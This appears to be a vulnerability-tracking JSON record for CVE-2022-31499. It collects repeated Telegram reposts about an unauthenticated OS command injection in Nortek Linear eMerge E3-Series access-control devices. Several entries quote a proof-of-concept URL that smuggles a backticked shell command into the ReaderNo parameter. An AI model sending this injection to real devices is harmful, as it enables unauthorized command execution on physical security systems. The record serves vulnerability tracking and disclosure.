{"vulnerability": "cve-2022-31499", "sightings": [{"uuid": "7ebf96cc-2885-4ba0-9d1f-d3ff3a044c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "seen", "source": "MISP/9f779cbb-9e6b-40ed-bd06-92aeb6a8e437", "content": "", "creation_timestamp": "2023-06-27T12:16:12.000000Z"}, {"uuid": "cbfecd75-f948-4f6e-bff4-9f9520ee53af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/2670", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-31499\nGithub: https://github.com/omarhashem123/CVE-2022-31499\nDescribe: \nNortek Linear eMerge E3-Series devices before 0.32-08f allow an unauthenticated attacker to inject OS commands via ReaderNo. NOTE: this issue exists because of an incomplete fix for CVE-2019-7256.", "creation_timestamp": "2026-08-02T00:01:19.239324Z"}, {"uuid": "0c6c5696-37c3-4984-abcc-cfd92aa0c2bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/2670", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-31499\nGithub: https://github.com/omarhashem123/CVE-2022-31499\nDescribe: \nNortek Linear eMerge E3-Series devices before 0.32-08f allow an unauthenticated attacker to inject OS commands via ReaderNo. NOTE: this issue exists because of an incomplete fix for CVE-2019-7256.", "creation_timestamp": "2026-08-01T03:00:03.976446Z"}, {"uuid": "bb68b411-9281-45ce-b820-790ced4478d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "seen", "source": "https://t.me/CVEhub/2670", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-31499\nGithub: https://github.com/omarhashem123/CVE-2022-31499\nDescribe: \nNortek Linear eMerge E3-Series devices before 0.32-08f allow an unauthenticated attacker to inject OS commands via ReaderNo. NOTE: this issue exists because of an incomplete fix for CVE-2019-7256.", "creation_timestamp": "2026-07-29T12:01:00.528180Z"}, {"uuid": "74179771-da91-4b72-b534-411f038cd921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "seen", "source": "https://t.me/CVEhub/2670", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-31499\nGithub: https://github.com/omarhashem123/CVE-2022-31499\nDescribe: \nNortek Linear eMerge E3-Series devices before 0.32-08f allow an unauthenticated attacker to inject OS commands via ReaderNo. NOTE: this issue exists because of an incomplete fix for CVE-2019-7256.", "creation_timestamp": "2026-07-30T00:01:38.990125Z"}, {"uuid": "bfdef822-02d7-4fad-8c4b-04a9f24bf183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "seen", "source": "https://t.me/hacking_Attack/64715", "content": "Exploit Collector\nNortek Linear eMerge E3-Series Command Injection\n\nhttps://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png \nNortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.\n\nSHA-256 | 1b6d5355c3cfb8a305b173bd302a4a64ba695c262235e2d26ec6c0d12c984191\n\nDownload\n# Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection\n# Exploit Author: Omar Hashim\n# Version: 0.32-09c\n# Vendor home page: https://www.nortekcontrol.com/access-control/\n# Vendor home page: https://linear-solutions.com/\n# Authentication Required: No\n# CVE: CVE-2022-31499\n\n# POC:\n====================\n\nhttp:/<host:port/card_scan.php?No=1337&ReaderNo=`sleep\n20`&CardFormatNo=1337\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:26.862749Z"}, {"uuid": "b1177ce2-c80b-4215-b22f-f08a821d4e72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "seen", "source": "https://t.me/hacking_Attack/64715", "content": "Exploit Collector\nNortek Linear eMerge E3-Series Command Injection\n\nhttps://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png \nNortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.\n\nSHA-256 | 1b6d5355c3cfb8a305b173bd302a4a64ba695c262235e2d26ec6c0d12c984191\n\nDownload\n# Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection\n# Exploit Author: Omar Hashim\n# Version: 0.32-09c\n# Vendor home page: https://www.nortekcontrol.com/access-control/\n# Vendor home page: https://linear-solutions.com/\n# Authentication Required: No\n# CVE: CVE-2022-31499\n\n# POC:\n====================\n\nhttp:/<host:port/card_scan.php?No=1337&ReaderNo=`sleep\n20`&CardFormatNo=1337\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:41.934065Z"}, {"uuid": "646b8004-8965-42bc-847e-34369a290457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64715", "content": "Exploit Collector\nNortek Linear eMerge E3-Series Command Injection\n\nhttps://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png \nNortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.\n\nSHA-256 | 1b6d5355c3cfb8a305b173bd302a4a64ba695c262235e2d26ec6c0d12c984191\n\nDownload\n# Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection\n# Exploit Author: Omar Hashim\n# Version: 0.32-09c\n# Vendor home page: https://www.nortekcontrol.com/access-control/\n# Vendor home page: https://linear-solutions.com/\n# Authentication Required: No\n# CVE: CVE-2022-31499\n\n# POC:\n====================\n\nhttp:/<host:port/card_scan.php?No=1337&ReaderNo=`sleep\n20`&CardFormatNo=1337\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T12:00:05.377025Z"}, {"uuid": "3a20f78a-6468-4a9b-9cc6-2da81598d329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31499", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64715", "content": "Exploit Collector\nNortek Linear eMerge E3-Series Command Injection\n\nhttps://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png \nNortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.\n\nSHA-256 | 1b6d5355c3cfb8a305b173bd302a4a64ba695c262235e2d26ec6c0d12c984191\n\nDownload\n# Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection\n# Exploit Author: Omar Hashim\n# Version: 0.32-09c\n# Vendor home page: https://www.nortekcontrol.com/access-control/\n# Vendor home page: https://linear-solutions.com/\n# Authentication Required: No\n# CVE: CVE-2022-31499\n\n# POC:\n====================\n\nhttp:/<host:port/card_scan.php?No=1337&ReaderNo=`sleep\n20`&CardFormatNo=1337\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T00:00:48.404262Z"}]}